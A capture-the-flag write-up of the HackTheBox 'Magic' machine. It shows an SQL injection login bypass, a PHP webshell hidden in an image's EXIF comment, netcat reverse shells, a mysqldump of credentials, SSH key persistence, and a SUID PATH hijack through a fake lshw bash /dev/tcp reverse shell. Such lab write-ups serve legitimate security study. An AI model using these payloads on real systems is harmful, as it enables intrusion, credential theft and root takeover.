HackTheBox - Magic

HackTheBox - Magic

Magic from Hack The Box features a PHP-based web application which is vulnerable to SQL injection for login bypass. The file upload feature fails to validate an image uploaded to it. This allows me to upload a webshell embedded image and gain a foothold. Enumerating the systems discovers database credentials which leads to database dump and obtain user credentials. For the root part, there’s a SUID binary that’s vulnerable to the path hijack attack since it calls some binaries without their absolute path.

Skills Learned

  • SQL injection
  • Bypassing file upload filter
  • SUID exploitation




→ root@iamf «magic» «»
$ nmap -sC -sV -oA scans/magic

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap found two ports open, an HTTP service on port 80 and SSH service on port 22


TCP 80  -  Website

The home page shows a bunch of images.


By clicking “Views image”, I know some images located on /images/uploads and some others on /images/fulls. At the bottom page, there’s a login button that points to /login.php


Common credentials don’t seem to work here.


Shell as www-data

SQL injection - Login bypass on /login.php

The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.

A basic sql injection technique ' or 1 = 1 -- - to bypass login is work against the login page.

In MySQL, a space after a comment is a must -- [space], because of that I added -- - to make it clear.

We can assume the back-end query would look like this:

...<some php>...
$username = $_POST['user']
$pwd = $_POST['password']
...<some php>...

SELECT username, password from table.user where username='$username' and password='$pwd'

If I assign ' or 1 = 1 -- - as value of $username, it becomes:

SELECT username, password from table.user where username='' or 1 = 1 -- -' and password='$pwd'

Upload filter bypass

Upon a successful login, the site redirects me to /upload.php. It shows up with an upload form. It only accepts a valid image file.


After some testing, I can bypass this upload filter by embedding my php shell on an image file (I took it from the web itself). This can be done by using exiftool.

→ root@iamf «forest» «»
$ ./exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' iamf.jpg

Next, I added .php extension right before the image extension (in my case it is .jpg, so it becomes filename.php.jpg).

Back to /upload.php, now it accepts my malicious image.


I can find the uploaded file at http://htb.magic/images/uploads/.

When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd, I can see the code execution is working


Shell access

The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443 to gain a foothold on the system.

I’ll enter this URL on the browser.


When I check my listener:

→ root@iamf «magic» «»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Shell as theseus


There is a database configuration, db.php5, that stores database credentials.

$ find . -type f -user www-data


Database dump

I can use netstat to confirm that the MySQL server is currently running.

www-data@ubuntu:/var/www/Magic$ netstat -tlpn

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp		0		0 *              LISTEN       -

Unfortunately, the mysql binary is not present in this box.


But, I could use mysqldump to dump the database, and it contains another credentials: admin:Th3s3usW4sK1ng.

www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'

/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;                                           

Shell upgrade to SSH

It turns out that the password Th3s3usW4sK1ng is reused by user theseus.

www-data@ubuntu:/var/www/Magic$ su theseus

Before enumeration, I would like to switch to SSH. First, I’ll generate a new SSH key.

→ root@iamf «magic» «»
$ ssh-keygen -f theseus 

Then, I’ll add the newly generated public key to theseus’s authorized_keys.

theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys

Now I can log in via SSH.

→ root@iamf «magic» «»
$ ssh -i  theseus@
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)

Shell as root


Upon enumerating for SUID, there’s a binary that doesn’t seem to be a common SUID on Ubuntu called sysinfo.

theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null

The sysinfo binary is owned by root, but it can be executed by the users group and theseus is a member of that group.

theseus@ubuntu:~$ ls -las /bin | grep sysinfo
 24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo

When I execute the binary and it returns some hardware information on the screen that looks similar to what lshw, free and other binary related to hardware info produces.


A quick search on Google shows:


So it is the same header.

Running strings against sysinfo reveals it calls lshw, free, fdisk and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)

  • Absolute path: /bin/sysinfo –> fixed path, can not be modified except global write access is permitted. (cmiiw)
  • Relative path: sysinfo –> resolved by user’s environment, the path follows user’s $PWD.

Path Hijack on SUID

Knowing the SUID binary uses relative path to call other binaries, I can abuse this by creating, for example, a fake lshw binary that contains a reverse shell.

First thing to do is, I will create a fake lshw in /tmp/iamf folder and append one liner bash reverse shell.

theseus@ubuntu:/tmp$ mkdir iamf
theseus@ubuntu:/tmp$ which lshw

Next, I’ll export /tmp/iamf to the environment variable $PATH.

theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/ 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH

Now If I call lshw, the OS will resolve it to the one on /tmp/iamf.

theseus@ubuntu:/tmp$ which lshw

After that, I can just execute the sysinfo binary. However, it then just hangs.

theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================

That is because its execution is interrupted by the reverse shell and now I’m rooted.

→ root@iamf «magic» «»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)